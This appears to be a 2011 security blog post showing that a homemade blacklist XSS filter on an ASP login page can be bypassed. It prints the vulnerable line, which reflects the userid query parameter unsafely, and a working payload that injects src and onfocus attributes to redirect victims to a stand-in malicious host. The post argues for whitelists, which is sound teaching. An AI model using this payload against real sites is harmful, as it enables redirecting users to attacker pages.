samedi, janvier 8 2011.
Some people still think that black-listing some special characters or encoding only a handful of them solves all XSS issues. Here's hopefully another proof that blacklisting isn't enough:
In a recent example, the following user-supplied characters on a page were encoded to their HTML entities:
The custom method (called afterward customXSSFilter()) also removed any string matching "eval", "alert" or "script".
Obviously, the standard <script>alert('xss');</script> doesn't work in such a case, but is it really enough?
The login page of this web application has a feature where the userid could be pre-set on the login form. Let's take this example:
<input type="text" name="userid" value="<%= customXSSFilter(Request.QueryString("userid")) %>">
Closing the input tag isn't an option, as the needed character is encoded by customXSSFilter(). As double-quotes aren't encoded, we could close the value attribute without troubles and therefore execute CSS Expressions if the victim is running IE below version 8. But the aim is to find a proof of concept that code can be executed on any browser.
An action which doesn't require parenthesis to run is to redirect the user using location.href = [destination]. But specifying an URL in the injected event (such as
" onfocus="location.href='http://target') doesn't work according to plan as single quotes are also encoded.
The trick relies on a specificity of the input tag, which allows an attribute named src for the case its type is button. As we can create as many attributes as wanted, we can finally inject the following payload onto the login page:
Request: login.asp?userid=EvilXSS" src="http://malicious.website" onfocus="location.href=this.src
<input type="text" name="userid" value="EvilXSS" src="http://malicious.website" onfocus="location.href=this.src">
Morality: blacklist, especially self-made ones, are rubbish. Use only white lists or libraries written by security professionals.